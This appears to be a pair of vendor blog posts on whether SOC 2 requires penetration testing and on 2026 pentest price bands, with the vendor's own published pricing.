“COSO Principle 16: The entity selects, develops, and performs ongoing and/or separate evaluations to ascertain whether the components of internal control are present and functioning.”

The supporting points of focus list penetration testing as a named example of a separate evaluation. An example, not a mandate.

CC7.1: vulnerability detection

“…the entity uses detection and monitoring procedures to identify (1) changes to configurations that result in the introduction of new vulnerabilities, and (2) susceptibilities to newly discovered vulnerabilities.”

Points of focus are explicitly optional. The AICPA’s own framework material states that an entity can meet a criterion without addressing every point of focus. That is the whole legal answer: penetration testing is an expected form of evidence, not a requirement.

If someone tells you SOC 2 “requires” an annual pentest, they are selling you one. We sell penetration tests and we are telling you it is not required. What follows is why nearly everyone buys one anyway.

Why auditors expect one anyway

Your auditor has to form an opinion on whether your vulnerability management controls actually operated during the period. A recent penetration test is the cheapest, densest piece of evidence that they did. Without one, auditors typically respond in one of two ways: supplemental evidence requests (scan logs, patch records, remediation tickets, assembled by you at the worst possible time), or exception language in the report that your customers will read.

The customer side matters more than the auditor side. 82% of companies use SOC 2 reports as part of third-party security assessment (Whistic TPRM Impact Report, 2025), and the market has become intolerant of thin evidence: in A-LIGN’s 2026 compliance benchmark (1,043 respondents, 85% US-headquartered), more than half of organizations had a report rejected for incomplete documentation or insufficient testing, up from 38% two years earlier.

Thomas Ptacek’s much-cited fly.io essay on SOC 2 puts the relationship between the two artifacts plainly:

“[SOC 2 is] a weak positive indicator of security maturity, in the same ballpark of significance as a penetration test report (but less significant than multiple pentest reports).”

Security reviewers agree in practice. One CISO on the buyer side of vendor reviews, on r/SaaS:

“Give me a penetration test or allow me to run one, vulnerability reports, SAST, DAST, SCA, and it doesn’t matter if you have SOC 2 or not.”

Internal team or third party?

SOC 2 does not say the tester must be external. The Trust Services Criteria never mention tester independence at all. Even PCI DSS, the strictest framework in common use, states repeatedly through Requirement 11.4 that the tester is “not required to be a QSA or ASV.” What PCI does demand is organizational independence: the tester cannot assess systems they build, run, or maintain.

That is the practical bar for SOC 2 too, and it is why small teams end up buying the test. At seed or Series A, with one platform team, there is no engineer who is independent of the systems being tested. Independence is a quality bar rather than a legal one, and for most startups it is structurally impossible to meet in-house.

What actually gets judged

Your customers’ security teams will read the report. They will look at who performed the test, what methodology was used, whether findings carry working reproduction steps, and whether a retest verified the fixes. A report that fails that reading is worse than no report, because it signals you bought a checkbox.

The timing rule that catches teams out

For a Type 2 report, evidence has to come from inside your observation window, the 3 to 12 month period the audit covers (Linford & Co, a licensed CPA firm, notes 12-month windows are the most common). A penetration test dated before the window opened is not evidence that the control operated during the period.

Three timing rules

Book the test early in the window, not at the end. You need time to fix what it finds and to document the remediation.
Expect a retest. A finding that stays open at report time becomes an exception. A finding that was found, fixed, and verified is a functioning control.
Repeat annually and after major changes. That is the cadence auditors treat as normal, and it maps to the annual renewal of the report itself.

A scan is not a pentest, and reviewers can tell

The cheap tier of this market sells automated scans dressed as penetration tests. Buyers have noticed. A compliance readiness vendor describing its competitors: “what they sell as a pen test we would call a vulnerability scan (fully automated, no human involved).” A practitioner reviewing a bundled compliance pentest called it “a very trivial, automated blackbox affair, almost completely meaningless.”

The consequence lands on you, not the vendor. A security reviewer on r/soc2:

“If I’m reviewing your report and you hand me a cheap/fast one that does not meet the quality/reporting standards, then I will classify you as worse than not having one at all.”

The honest heuristic: if the price is under about $4,000 and the timeline is under a week, you are buying a scan with a cover page, and the people your SOC 2 is supposed to convince can tell. Our comparison of manual pentests and continuous testing goes deeper on what separates real testing from report theater.

What it costs, in real numbers

Most firms in this market do not publish prices. These are the observable 2026 bands for a SOC 2-driven test of a typical SaaS product, consistent with DeepStrike’s market survey (updated July 2026) and with what founders self-report paying. The full band-by-band breakdown, including the day-rate math behind every quote, is in how much penetration testing costs:

Scope	Typical price
Seed stage: one web app, one API, a few roles	$4,000 to $8,000
Standard SaaS: web app + API + cloud config	$8,000 to $25,000
Complex: multi-tenant, several auth tiers, large API surface	$15,000 to $40,000+

Where the cheap tier breaks

The trap is the single vendor who bundles the audit and the pentest into one cheap fee. An auditor charging $150 an hour who sells one bundled fee near $2,500 covering both the audit and the pentest has about 16 hours for the two combined, which is why those reports converge on templated no-exception findings. The 2026 audit-mill scandal (533 near-identical reports across 455 companies) made buyers actively hostile to that tier.

A standalone attestation at the same headline number is a different thing, because the testing was bought and paid for separately: the penetration test runs continuously all year on its own subscription, the evidence arrives pre-mapped to the controls, and every CPA hour goes to the audit. That is how an independent attestation prices low without becoming a mill.

The one legitimate way real testing gets cheap is stack ownership: AI agents run the coverage and hackers in the loop validate what actually exploits (public examples: a critical RCE in velocity.js, published as CVE-2026-73649, an RCE in JSONPath Plus fixed in PR #266, and a cookie-leak in tough-cookie, half a billion downloads a month). That is how our pricing stays published and low without the report going templated.

How SOC 2 compares to the other frameworks

SOC 2’s soft expectation is the exception. Most other frameworks are stricter, and if any of them is on your roadmap the pentest stops being optional:

Framework	Penetration test	Where it says so
SOC 2	Expected, not required	CC4.1 / CC7.1 points of focus
PCI DSS v4.0.1	Required, internal and external, annual plus after change, mandatory retest (explained)	Requirements 11.4.1 to 11.4.7
ISO 27001:2022	Not named in a clause, but implementation guidance says to “carry out regular, documented penetration tests”	ISO 27002 controls 8.8 and 8.29
HIPAA (today)	Not required	Security Rule, current text
HIPAA (proposed rule)	Annual test by a “qualified person” if finalized	90 FR 898, target July 2027
FedRAMP (Rev5)	Required, by a 3PAO, annually	FedRAMP Pentest Guidance v3.0

A useful consequence: a properly scoped penetration test is the one artifact that satisfies evidence expectations across every framework on that list. If ISO 27001 or PCI is coming, buy one test that covers both sets of requirements instead of two thin ones. The frameworks we test against and our public benchmarks show how we scope that.

The short version

SOC 2 does not require a penetration test. Anyone who says otherwise is paraphrasing a sales page, not the AICPA.
Your auditor expects one, your customers increasingly demand the report itself, and more than half of companies have had a report bounced for thin testing.
No certification is required of the tester. Organizational independence and a readable methodology are what reviewers actually judge.
Time it inside the observation window, early enough to fix and retest.
Budget $4,000 to $25,000 for a real one-off test depending on surface. Below that, at human day rates, you are buying a scan, and reviewers can tell.

More background: what SOC 2 compliance is, what a SOC 2 audit costs line by line, the same question for ISO 27001, penetration testing cost in 2026, what PCI DSS 11.4 requires, and how our pricing works.

Penetration testing cost in 2026: the real price bands

cuau@hackzero.ai (Cuauhtli Padilla) — Mon, 03 Aug 2026 00:00:00 GMT

How much does penetration testing cost?

A real penetration test costs $5,000 to $30,000 for a single web application in 2026. Below about $4,000 you are almost always buying an automated scan with a report cover. Cloud environments run to $50,000 and beyond. Every consultancy quote reduces to one formula: tester-days multiplied by a day rate. Here is that math, including our own numbers.

On this page: the price bands · the day-rate math · the AI pentest wave · why quotes differ 10x · the $500 pentest · what compliance makes you buy · our prices · how it gets this cheap

The price bands in 2026

Almost no firm in this market publishes prices. Directories of hundreds of providers list exactly zero rate cards, so every guide to this question is vague. The bands below are the published data that does exist, and they match what founders report paying.

What you are testing	2026 market band	What pushes you up the band
Web application	$5,000 to $30,000	roles, payments, file handling, tenant isolation
API	$6,000 to $30,000	endpoint count, auth models, third-party consumers
Mobile app	$7,000 to $35,000 per platform	iOS and Android are separate engagements
Network	$5,000 to $40,000	host count, internal plus external, segmentation
Cloud environment	$10,000 to $50,000+	multi-account sprawl, IAM complexity
Automated scan sold as a pentest	$300 to $2,000	nothing: the tool run costs the same everywhere

The bands are from DeepStrike’s 2026 pricing guide, one of the few firms that publishes them, and they have held for years. Here is the same range on Hacker News in 2017:

$40k would be a pretty standard price point for a regular pentest.

That is a security practitioner writing in 2017. Nine years on, the consultancy mid-market still quotes the same numbers: the delivery model changed, the day-rate economics did not.

The day-rate math behind every quote

Strip away the sales language and every quote is the same calculation: the tester-days your scope needs, multiplied by what the firm’s testers cost per day.

What a tester-day costs

Work the published bands backwards: $5,000 to $30,000 for a web application over the 4 to 12 tester-days such engagements take implies roughly $1,200 to $2,500 a day. Junior-heavy shops sit at the bottom, senior boutiques and brand-name consultancies at the top. A quote far below that range is not defying economics; it is spending fewer person-hours on you, usually a scanner’s.

How many days your scope needs

Day count is driven by attack surface, not company size. One login role, a handful of forms and no payment flow is a 4 to 6 day test. Multi-tenant SaaS with role hierarchies, integrations and file uploads is 8 to 12. The quote call is really a surface census: arrive with an endpoint count, role list and architecture sketch, because firms price uncertainty.

What the new AI pentest wave charges

A generation of AI-led pentest companies entered the market in the last two years, and the surprise is how little pricing changed. RunSybil (founded by OpenAI’s first security hire, $40 million raised) publishes no prices. Horizon3’s NodeZero is quote-only through sales and the AWS Marketplace. Most of the wave rebuilt the consultancy playbook with a faster engine. XBOW is the exception:

Pricing starts at $6,000 so teams can test earlier and more often.

That is XBOW’s launch pricing for one machine-run, human-reviewed test, against their own market read of $10,000 to $35,000 per typical engagement. How far the floor can drop is a stack-ownership question: where our numbers come from.

Why two quotes for the same app differ by 10x

Founders collect quotes of $6,000 and $60,000 for the same application; neither is a scam, they price different amounts of work.

Methodology depth is the hidden variable

A black-box test attacks from outside with no credentials or source access. A white-box test reads your code while attacking, which finds deeper bugs in the same number of days. Ours is white-box by default. When comparing quotes, ask which one you are getting: a $9,000 white-box test routinely outperforms a $25,000 black-box test on findings that matter.

Who actually does the testing

The person matters more than the logo. Big consultancies bill partner-grade rates and staff junior testers; boutiques run senior people at similar prices. Cobalt’s 2026 State of Pentesting report, drawn from 1,500+ customers, shows how much delivery model matters:

Organizations with a programmatic model are 4.5x more likely to resolve critical findings in three days or less compared to ad-hoc teams.

The same report found 40% of organizations still test primarily for compliance. Even then quality matters, because the report gets read: see why a scan gets bounced.

A $500 pentest is a scan with a cover page

At $1,200 to $2,500 a day, $500 buys a few hours, and the only thing deliverable in a few hours is a tool run reformatted into a report. PCI DSS 11.4.1, the strictest testing standard in production use, frames the bar as attacks “by a competent manual attacker” (the standard is in the official PCI document library).

A scan has value as hygiene between tests. Sold and submitted as a penetration test, it fails: enterprise reviewers read the methodology page before the findings and bounce reports that describe a tool run. Our manual pentest comparison shows what a human-plus-AI engagement covers that a scanner cannot. The exception that keeps $299 a month honest: machine-hours instead of billed human days (how that works).

What compliance actually makes you pay for

Compliance buys roughly two in five tests, so here is what each framework actually obliges you to spend:

SOC 2: $0 mandated, one test expected. No criterion requires a pentest, but your auditor expects a recent one inside your observation window. The full analysis is in does SOC 2 require a penetration test. Budget one real test a year.
PCI DSS: two tests plus retests, forever. Internal and external testing every 12 months and after significant change, a mandatory retest, and 6-month segmentation tests for service providers: the clause by clause breakdown.
HIPAA: annual testing is coming. The proposed Security Rule update (90 FR 898) would mandate a penetration test every 12 months. HHS’s own impact analysis prices that test at $359.82 (3 hours at $119.94 an hour); real market pricing is 15 to 80 times higher.

Our prices, published

Hiding prices is how this market got opaque, so here are ours. One product, two prices, split on headcount. Both include SOC 2 controls, continuous monitoring, and an AI pentest every month, or unlimited pentests if you bring your own Anthropic key, because the real cost of a run is model tokens. Headcount is self-attested: no application, no approval, no waitlist.

Who	Price	What it includes
Fewer than 10 people	$299 a month, or $2,990 a year	SOC 2 controls, continuous monitoring, one AI pentest a month, unlimited on your own Anthropic key
10 people or more	$499 a month, or $4,990 a year	the same
Human-validated pentest	$2,999 per engagement	hackers confirm exploitability and write the report, added on top of any plan, never a subscription
SOC 2 attestation	from $2,500	paid straight to an independent AICPA-member CPA, never billed through us, which is what keeps the audit independent

The math in the open. Under 10 people it is $299 x 12 plus a $2,500 CPA, so $6,088 for the year, or $5,490 if you pay the year up front at $2,990. At 10 people or more it is $499 x 12 plus the same CPA, so $8,488, or $7,490 paid annually.

Both numbers sit against the $30,000 to $45,000 the traditional three-vendor stack costs, and the plan runs a pentest every month instead of the retail stack’s one or two. Want hackers driving a named engagement on top? That is $2,999, once, per engagement.

Still true: if you ship a few times a year, an annual $8,000 boutique engagement is the right buy. A 20-minute call settles it; the full price list is on /pricing.

How a real pentest gets this cheap

The day-rate formula stops binding when the days are machine-days. We own the whole stack: the attack agents, the exploitation toolchain and the reporting tools are built in-house, so the marginal cost of a test is compute plus senior review time, not tester-weeks plus scanner licenses plus a sales process.

AI does the coverage no human team can afford monthly, and hackers in the loop validate that findings actually exploit, then write the report reviewers actually read. The same stack, pointed at hard targets, has found privately confirmed vulnerabilities in NASA and Tor, a critical remote code execution in velocity.js, an RCE in JSONPath Plus (PR #266, 12 million downloads a week), and a cookie-leak in tough-cookie, half a billion a month. Its runs on the 104-challenge XBOW benchmark are public.

The catch, stated plainly: the subscription buys AI-led testing with human validation. If you want hackers driving a named engagement, that is a $2,999 add-on, once, per engagement, which is still under the floor of the boutique bands above.

How to buy without overpaying

Five questions strip the opacity out of any quote:

How many tester-days, at what day rate? It makes quotes comparable.
Who is testing, by name? You are buying a person’s week, not a logo.
Black-box or white-box? Same days, very different depth.
Is the retest included? If not, add 10 to 25% to the real price.
Show me a sanitized report. Your customers and auditors will read it; judge it before paying.

The short version

A real web application pentest costs $5,000 to $30,000 in 2026; cloud environments run to $50,000 and beyond.
Every human-led quote is tester-days times a $1,200 to $2,500 day rate; cheaper means fewer human hours.
Sub-$4,000 quotes at human day rates are scans. Reviewers can tell, and reports get bounced.
Compliance sets the cadence: annual for most frameworks, 6-month segmentation for PCI service providers, continuous if you ship fast.
Our prices are public: $299 a month under 10 people and $499 at 10 or more, with a human-validated pentest at $2,999 per engagement. No quote call, no application.

More background: does SOC 2 require a penetration test, what a SOC 2 audit costs line by line, and how our pricing works.